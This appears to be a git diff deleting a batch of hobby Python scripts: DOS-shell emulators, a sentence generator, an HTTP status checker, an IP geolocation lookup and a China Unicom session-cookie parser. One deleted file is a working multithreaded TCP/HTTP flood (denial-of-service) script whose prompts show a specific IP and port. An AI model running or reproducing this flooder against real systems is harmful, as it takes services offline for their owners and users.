hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - - exit() - elif cmd=="dir": - print("file:") - - for i in list(file): - print(" "+i) - print("file number:"+str(len(file))) - elif cmd == "oaoa": - print("91*10086=917826") - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1145): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del"): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - - - - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input(">>text") - except: - file[cmd[4:]]=input(">>text") - elif cmd.startswith("new"): - name=cmd[4:] - text=input(">>text") - file[name]=text - elif cmd.startswith("format"): - file={} - exit() - # read 命令 - elif cmd.startswith('load'): - with open("dosfile.txt", "r", encoding="utf-8") as f: - file = json.load(f) - elif cmd.startswith("save"): - with open("dosfile.txt", "w", encoding="utf-8") as f: - json.dump(file, f, ensure_ascii=False, indent=2) - else: - print(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") diff --git a/script_library/scripts/basic/cmd2_0_mnll1610.py b/script_library/scripts/basic/cmd2_0_mnll1610.py deleted file mode 100644 index bbf1df2..0000000 --- a/script_library/scripts/basic/cmd2_0_mnll1610.py +++ /dev/null @@ -1,98 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "" # 红 -G = "" # 绿 -Y = "" # 黄 -B = "" # 蓝 -C = "" # 青 -M = "" # 紫 -X = "" -new_l = "\n" -import json -cmd = "" -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用" -} -print("DOS改版") -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == new_l: - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - - exit() - elif cmd=="dir": - print("file:") - - for i in list(file): - B=float('%.2f'%(len(str(file[i]))/1024)) - leng=32-len(str(i)) - print(f"- {i}"+f'%{leng}s'%(f'{B}KB')) - print("file number:"+str(len(file))) - elif cmd == "oaoa": - print("91*10086=917826") - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del"): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - - - - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input(">>text") - except: - file[cmd[4:]]=input(">>text") - elif cmd.startswith("new"): - name=cmd[4:] - text=input(">>text") - file[name]=text - elif cmd.startswith("format"): - file={} - exit() - # read 命令 - elif cmd.startswith('load'): - with open("dosfile.txt", "r", encoding="utf-8") as f: - file = json.load(f) - elif cmd.startswith("save"): - with open("dosfile.txt", "w", encoding="utf-8") as f: - json.dump(file, f, ensure_ascii=False, indent=2) - else: - print(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") diff --git a/script_library/scripts/basic/cmd2_0_mnoj7n30.py b/script_library/scripts/basic/cmd2_0_mnoj7n30.py deleted file mode 100644 index 1e12d58..0000000 --- a/script_library/scripts/basic/cmd2_0_mnoj7n30.py +++ /dev/null @@ -1,29 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -import json -from pathlib import Path -import time -import random -Y = "\033[93m" -print("==========by ioo project==========") -time.sleep(1) -print("= 这是一个测试文件 =") -time.sleep(1) -print("=使用我的作品 模拟cmd可能会出现一些问题=") -time.sleep(1) -print("= 建议使用此工具进行测试 =") -for i in range(51): - percent = i *2 - print(f"\r|{ '█' * i }{ ' ' * (50 - i) }|{ percent }%", end="") - time.sleep(random.uniform(0.1, 0.3)) -path=Path("dosfile.txt") -if path.exists(): - file=json.loads(path.read_text()) - print(file) - print("= 测试成功4.1 =") -else: - file={"command.com":"bin","io.sys":"sys"} - print("\n= 错误,已修复 =") - path.write_text(json.dumps(file)) -k="#愚人节做的嘿嘿" -if input(">") == "Y": - print(k) \ No newline at end of file diff --git a/script_library/scripts/basic/cmd2_6_mo2zh2uh.py b/script_library/scripts/basic/cmd2_6_mo2zh2uh.py deleted file mode 100644 index 11fef7c..0000000 --- a/script_library/scripts/basic/cmd2_6_mo2zh2uh.py +++ /dev/null @@ -1,144 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "" # 红 -G = "" # 绿 -Y = "" # 黄 -B = "" # 蓝 -C = "" # 青 -M = "" # 紫 -X = "" - -copy="" -import os -import dialogs -import time -def load(): - t="█" - for i in range(51): - if i*2<30: - types=R - elif i*2>30 and i*2<60: - types=Y - elif i*2>60: - types=G - print(f"\r|{types}{i * t}{X}|{(49 - i) * '-'}{i*2}%", end="\033[A") - time.sleep(0.01) -new_l = "\n" -import json -cmd = "" -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用" -} -print("DOS改版") -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == new_l: - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("alert text") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - exit() - elif cmd=="dir": - print("file:") - - for i in list(file): - B=float('%.2f'%(len(str(file[i]))/1024)) - leng=32-len(str(i)) - print(f"- {i}"+f'%{leng}s'%(f'{B}KB')) - print("file number:"+str(len(file))) - elif cmd == "oaoa": - print("91*10086=917826") - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del "): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - kakimi="jsjsjjzzkafjzlyrzkxyf" - #上面这个string是猫踩的 - #处理误删文件 - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input("text>") - except: - file[cmd[4:]]=input("text>") - elif cmd.startswith("new"): - name=cmd[4:] - text=input("text>") - file[name]=text - elif cmd.startswith("format"): - file={} - exit() - # read 命令 - elif cmd.startswith('load'): - print("loading...") - load() - print("\n") - with open("dosfile.json", "r", encoding="utf-8") as f: - file = json.load(f) - elif cmd.startswith("save"): - print("saving...") - load() - print("\n") - with open("dosfile.json", "w", encoding="utf-8") as f: - json.dump(file, f, ensure_ascii=False, indent=2) - elif cmd.startswith("ui"): - if dialogs.list_dialog("选择一个操作",["continue"])=="continue": - continue - else: - continue - elif cmd.startswith("delt"): - inp=input("此操作可能会影响到你的文件,是否继续(n/y)") - if inp=="y": - try: - os.remove(cmd[5:]) - print("成功") - except: - print("失败") - continue - elif cmd.startswith("alert"): - dialogs.alert(cmd[6:]) - elif cmd.startswith("input"): - copy=dialogs.input_alert(cmd[6:]) - elif cmd=="copy": - print(copy) - elif cmd=="others": - - print("呜呜呜要期中了下载一下吧") - else: - dialogs.alert(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") - \ No newline at end of file diff --git a/script_library/scripts/basic/cookie_2_0_mn37fkak.py b/script_library/scripts/basic/cookie_2_0_mn37fkak.py deleted file mode 100644 index 3d37434..0000000 --- a/script_library/scripts/basic/cookie_2_0_mn37fkak.py +++ /dev/null @@ -1,91 +0,0 @@ -# 2026-3-23 by.Silence 推荐使用stream进行抓包Cookie,抓包关键词query,复制curl即可,运行脚本自动解析Cookie。疯狂亏内x_x -import re -import os -import sys - -try: - import clipboard - has_clip = True -except: - has_clip = False - -def validate_cookie(cookie_str): - if not cookie_str or len(cookie_str) < 20: - return False - - keywords = ["PvSessionId", "c_id", "ecs_token"] - match_count = sum(1 for k in keywords if k in cookie_str) - return match_count >= 1 - -def run_parser(): - raw_content = "" - - - if has_clip: - try: - temp_data = clipboard.get() - if temp_data and len(temp_data.strip()) > 50: - raw_content = temp_data - except: - pass - - if not raw_content: - print("系统剪贴板空值或数据长度异常") - print("请手动粘贴抓包原始数据并回车:") - raw_content = sys.stdin.read() if not sys.stdin.isatty() else input() - - if not raw_content or len(raw_content.strip()) < 10: - print("终端输入数据校验未通过: 字符过短") - return - - - - url_m = re.search(r"(?i)(https?://[^\s'\"]+)", raw_content) - cookie_m = re.search(r"(?i)Cookie:\s*([^\r\n'\"]+)", raw_content) - ua_m = re.search(r"(?i)User-Agent:\s*([^\r\n'\"]+)", raw_content) - host_m = re.search(r"(?i)Host:\s*([^\r\n'\"]+)", raw_content) - - url = url_m.group(1) if url_m else "N/A" - cookie = cookie_m.group(1) if cookie_m else "" - ua = ua_m.group(1) if ua_m else "N/A" - host = host_m.group(1).strip() if host_m else "m.client.10010.com" - - - if not validate_cookie(cookie): - print("\n[错误] 数据合法性校验失败") - print("原因: 解析出的 Cookie 字段缺失或不符合联通接口特征") - print("请检查抓包目标是否为 queryUserInfoSeven 接口") - return - - - result_map = { - "URL": url, - "HOST": host, - "USER-AGENT": ua, - "COOKIE": cookie - } - - report = [ - "RAW DATA PARSE REPORT", - "=" * 40, - f"▷URL : {result_map['URL']}", - f"▷HOST: {result_map['HOST']}", - f"▷USER_AGENT : {result_map['USER-AGENT']}", - "-" * 40, - f"▷COOKIE:\n{result_map['COOKIE']}", - "=" * 40, - "获取成功: 接下来你需要自己手动复制粘贴这些数据到联通小组件里面,即可使用" - ] - - final_report = "\n".join(report) - - try: - with open("Cookie解析结果.txt", "w", encoding="utf-8") as f: - f.write(final_report) - print(final_report) - print(f"\n解析结束,结果已同步至 PythonIDE 文档里面: Cookie解析结果.txt") - except Exception as e: - print(f"磁盘写入异常: {str(e)}") - -if __name__ == "__main__": - run_parser() diff --git a/script_library/scripts/basic/ddos_mnydfe4y.py b/script_library/scripts/basic/ddos_mnydfe4y.py deleted file mode 100644 index 8ddf427..0000000 --- a/script_library/scripts/basic/ddos_mnydfe4y.py +++ /dev/null @@ -1,99 +0,0 @@ -import socket -import os -import random -import pyfiglet -import threading -import time -from termcolor import colored - -target_ip = input("45.205.29.247: ") -target_port = int(input("884: ")) - -# 显示攻击开始的信息 -print(f"攻击开始,目标IP: {target_ip},端口: {target_port}") -time.sleep(1) - -# 模拟攻击过程 -print("攻击进行中...") -# 这里可以添加实际的攻击逻辑,例如发送数据包、扫描端口等 - -user_agents = [ - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", - "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.3", - "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.3", - "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15", - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 11; OPPO Reno 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 11; OPPO Reno 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 11; RMX3081) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (Linux; Android 8.1.0; Vertu Signature Cobra) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.1.0; Goldvish Le Million) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.1.0; Gresso Luxor Las Vegas Jackpot) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36", - "Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4", - "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", - "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)", - "Mozilla/5.0 (Linux; Android 10; Huawei Mate X2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36", - "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (Mobile; LYF/F120B/LYF-F120B-000-01-25-070918; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.5", - "Mozilla/5.0 (Mobile; Nokia 8110 4G; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.5", - "Mozilla/5.0 (WebOS; LG Smart TV; Linux/SmartTV) AppleWebKit/538.2 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/538.2 WebAppManager", - "Mozilla/5.0 (Linux; U; Android 9; BRAVIA 4K GB ATV3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Safari/537.36", - "Mozilla/5.0 (Linux; U; Android 9; BRAVIA 4K GB ATV3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Safari/537.36", - "Mozilla/5.0 (SMART-TV; Linux; Tizen 5.0) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 TV Safari/537.36", - "Mozilla/5.0 (AppleTV; U; CPU OS 13_4 like Mac OS X; en-us) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Safari/605.1.15", - "Mozilla/5.0 (Linux; Android 11; SM-G991U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; moto g play (2021)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; Nokia 1.4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; SM-A022F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; RMX2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; Redmi 9A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; SM-M022G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; BLU G91) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; 5002D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 7.1.1; Connected Modular 45) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 7.1.1; Tambour Horizon) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.0; Hublot Big Bang E) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.0; Summit 2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Apple Watch; CPU WatchOS 8_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/8.0 Mobile/15A372 Safari/604.1", - "Mozilla/5.0 (Linux; Android 8.0; Exospace B55) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; Connected Calibre E4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Tesla/feature-2022.20.9-31-abc", - "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 Kali Linux", - "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0", - "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Arch Linux", - "Mozilla/5.0 (X11; Debian; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0", - "Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0 Red Hat", - "Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0 Parrot OS" -] - -def launch_attack(target_ip, target_port): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((target_ip, target_port)) - user_agent = random.choice(user_agents) - s.send(f"GET / HTTP/1.1\r\nUser-Agent: {user_agent}\r\n\r\n".encode()) - print(f"Connection established with {target_ip}:{target_port} and User-Agent: {user_agent}") - except socket.error: - print(f"Connection error with {target_ip}:{target_port}") - -def dos_attack(): - while True: - threading.Thread(target=launch_attack, args=(target_ip, target_port)).start() - -if __name__ == "__main__": - for _ in range(10000): - threading.Thread(target=dos_attack).start() diff --git a/script_library/scripts/basic/flight_mn1ryk35.py b/script_library/scripts/basic/flight_mn1ryk35.py deleted file mode 100644 index f345966..0000000 --- a/script_library/scripts/basic/flight_mn1ryk35.py +++ /dev/null @@ -1,69 +0,0 @@ -import random -import time -words = { - "prep": ['在', '于', '从', '自', '往', '向', '朝', '沿', '顺', '对', '为', '给', '替', '跟', '和', '同', '以', '用', '凭', '靠', '因', '除', '比'], - "noun":[ - "猫", "狗", "鱼", "鸟", "兔子", "仓鼠", - "手机", "电脑", "键盘", "鼠标", "耳机", "充电器", - "咖啡", "奶茶", "可乐", "面包", "泡面", "火锅", - "床", "沙发", "桌子", "椅子", "灯", "窗帘", - "书", "笔", "本子", "试卷", "书包", "文件夹", - "太阳", "月亮", "星星", "云", "雨", "风", - "山", "河", "海", "树", "花", "草", - "朋友", "老师", "同学", "老板", "同事", "家人", - "游戏", "电影", "音乐", "小说", "漫画", "动画", - "代码", "bug", "服务器", "数据库", "接口", "前端" -], - "verb": ['走', '跑', '跳', '飞', '爬', '游', '看', '听', '说', '读', '写', '吃', '喝', '穿', '戴', '拿', '放', '打', '骂', '推', '拉', '提', '扛', '想', '爱', '恨', '怕', '愁', '盼', '愿', '喜', '怒', '哀', '乐', '在', '有', '存', '留', '住', '停', '坐', '站', '躺', '卧', '变', '改', '换', '成', '长', '生', '死', '灭', '兴', '衰'], - "pron": ['我', '我们', '咱们', '你', '您', '你们', '他', '她', '它', '他们', '她们', '它们', '大家', '大伙儿', '别人', '人家'], - "adv": ['都', '就', '才', '只', '也', '再', '又', '还', '正', '刚', '先', '老', '总', '常', '已', '早', '晚', '快', '慢', '好', '真', '最', '更', '越', '极', '偏', '竟'], - "adj": [ - "大", "小", "多", "少", "好", "坏", - "高", "低", "快", "慢", "新", "旧", - "红", "绿", "黑", "白", "美", "丑", - "长", "短", "冷", "热", "轻", "重"], - "other":["是","很","太"], - "ve":["的"], - "sound":["吧","啊","啊"], - "func":[",","。","?","!"], - -} -collocation = { - "prep": ["pron", "noun", "verb","ve"], - "verb": ["noun", "prep", - "adv","noun","noun","noun","pron","other","ve"], - "adj": ["ve","sound"], - "adv": ["verb"], - "noun": ['prep',"other","ve"], - "pron": ["verb","other"], - "other":["adj"], - "ve":["noun","sound"] -} -word=["prep","verb","adj","adv","noun","pron","other","ve","sound"] -now="pron" -text="" -def wordrand(): - global now - global text - now_word=words.get(now) - rand_word=random.randint(1,len(now_word))-1 - text+=now_word[rand_word] - now_list=collocation.get(now) - if not now_list:return "" - #print(now_list)#这行没*用 - rand_type=random.randint(1,len(now_list))-1 - now=now_list[rand_type] - #¯\_(ツ)_/¯oiia -for t in range(random.randint(5,5)): - now="pron" - text="" - for i in range(random.randint(5,8)): - #print(now) - if now != "sound": - wordrand() - else: - wordrand() - now="pron" - break - text+=words["func"][random.randint(0,3)] - print(text) \ No newline at end of file diff --git a/script_library/scripts/basic/get_mnsxghs0.py b/script_library/scripts/basic/get_mnsxghs0.py deleted file mode 100644 index c7448e8..0000000 --- a/script_library/scripts/basic/get_mnsxghs0.py +++ /dev/null @@ -1,40 +0,0 @@ -import urllib3 -urllib3.disable_warnings() -def menu(): - print('-'*20) - print('网页侦测程序(GET请求)') - print('http状态码含义:') - print('1xx:信息,请求收到,继续处理。') - print('2xx:成功,请求已成功被服务器接收、理解、并接受') - print('3xx:重定向,需要后续操作才能完成这一请求') - print('4xx:客户端错误,请求含有语法错误或者无法被执行') - print('5xx:服务器错误,服务器在处理某个正确请求时发生错误') - print('-'*20) - -def url(): - name_url = input('请输入网名:') - web_url = input('请输入网址:') - - if not web_url.startswith(('http://', 'https://')): - web_url = 'http://' + web_url - - try: - http = urllib3.PoolManager() - r = http.request('GET', web_url, timeout=5.0) - print(name_url, '请求状态码:', r.status) - except Exception as e: - print(f'请求失败: {e}') - -def main(): - menu() - while True: - url() - # 添加退出选项 - choice = input('是否继续检查?(y/n): ').lower() - if choice != 'y': - print('程序结束') - break - -if __name__ == "__main__": - main() - diff --git a/script_library/scripts/basic/ip_mndf9xci.py b/script_library/scripts/basic/ip_mndf9xci.py deleted file mode 100644 index 16f8c13..0000000 --- a/script_library/scripts/basic/ip_mndf9xci.py +++ /dev/null @@ -1,149 +0,0 @@ -import requests -import json - -def query_ip_info(ip_address): - """ - 高精度IP查询工具箱 - 查询指定IP地址的详细信息 - - 参数: - ip_address (str): 要查询的IP地址 - - 返回: - dict: 包含IP详细信息的字典 - """ - url = "https://api.ip77.net/ip2/v4/" - - payload = {'ip': ip_address} - - headers = { - 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604.1", - 'Accept': "application/json, text/javascript, */*; q=0.01", - 'sec-fetch-site': "cross-site", - 'accept-language': "zh-CN,zh-Hans;q=0.9", - 'sec-fetch-mode': "cors", - 'origin': "https://uutool.cn", - 'referer': "https://uutool.cn/", - 'sec-fetch-dest': "empty" - } - - try: - response = requests.post(url, data=payload, headers=headers, timeout=10) - response.raise_for_status() - - data = response.json() - - if data.get('code') == 0: - ip_data = data['data'] - result = { - '归属地': f"{ip_data.get('country', '')}{ip_data.get('province', '')}{ip_data.get('city', '')}{ip_data.get('district', '')}{ip_data.get('street', '')}", - '运营商': ip_data.get('isp', ''), - '基本信息': { - 'IP地址': ip_data.get('ip', ''), - '数字地址': ip_data.get('ip_int', ''), - '洲': ip_data.get('continent', ''), - '国家': ip_data.get('country', ''), - '省份': ip_data.get('province', ''), - '城市': ip_data.get('city', ''), - '区县': ip_data.get('district', ''), - '街道': ip_data.get('street', ''), - '区划编码': ip_data.get('area_code', ''), - '邮政编码': ip_data.get('zip_code', ''), - '经度': ip_data.get('longitude', ''), - '纬度': ip_data.get('latitude', ''), - '时区': ip_data.get('time_zone', '') - }, - '街道定位历史': [f"历史{i+1} {address}" for i, address in enumerate(ip_data.get('street_history', []))], - 'IP风险信息': { - 'IP地址': ip_data.get('ip', ''), - '风险分数': ip_data.get('risk', {}).get('risk_score', ''), - '风险等级': ip_data.get('risk', {}).get('risk_level', ''), - '是否为代理': ip_data.get('risk', {}).get('is_proxy', ''), - '代理类型': ip_data.get('risk', {}).get('proxy_type', ''), - '风险标签': ip_data.get('risk', {}).get('risk_tag', '') - } - } - return result - else: - return {'error': f'API返回错误: {data.get("message", "未知错误")}'} - - except requests.exceptions.RequestException as e: - return {'error': f'网络请求失败: {str(e)}'} - except json.JSONDecodeError as e: - return {'error': f'JSON解析失败: {str(e)}'} - except Exception as e: - return {'error': f'未知错误: {str(e)}'} - -def format_ip_info(ip_info): - """ - 格式化IP查询结果 - - 参数: - ip_info (dict): IP查询结果字典 - - 返回: - str: 格式化的查询结果 - """ - if 'error' in ip_info: - return f"查询失败: {ip_info['error']}" - - output = [] - output.append("=" * 50) - output.append("高精度IP查询结果") - output.append("=" * 50) - - # 基础信息 - output.append(f"归属地: {ip_info.get('归属地', '')}") - output.append(f"运营商: {ip_info.get('运营商', '')}") - - # 详细信息 - output.append("\n详细信息:") - output.append("-" * 30) - basic_info = ip_info.get('基本信息', {}) - for key, value in basic_info.items(): - if value: # 只显示有值的信息 - output.append(f"{key}: {value}") - - # 街道定位历史 - output.append("\n街道定位历史:") - output.append("-" * 30) - for history in ip_info.get('街道定位历史', []): - output.append(history) - - # IP风险信息 - output.append("\nIP风险信息:") - output.append("-" * 30) - risk_info = ip_info.get('IP风险信息', {}) - for key, value in risk_info.items(): - if value or str(value) == "0": # 显示有值或为0的字段 - output.append(f"{key}: {value}") - - output.append("=" * 50) - return "\n".join(output) - -def main(): - """主函数""" - print("高精度IP查询工具箱") - print("-" * 30) - - while True: - ip = input("请输入要查询的IP地址(输入'quit'退出): ").strip() - - if ip.lower() in ['quit', 'exit', 'q']: - print("感谢使用,再见!") - break - - if not ip: - print("IP地址不能为空,请重新输入!") - continue - - print(f"\n正在查询IP: {ip}") - print("查询中,请稍候...") - - result = query_ip_info(ip) - formatted_result = format_ip_info(result) - - print(f"\n{formatted_result}\n") - -if __name__ == "__main__": - main() diff --git 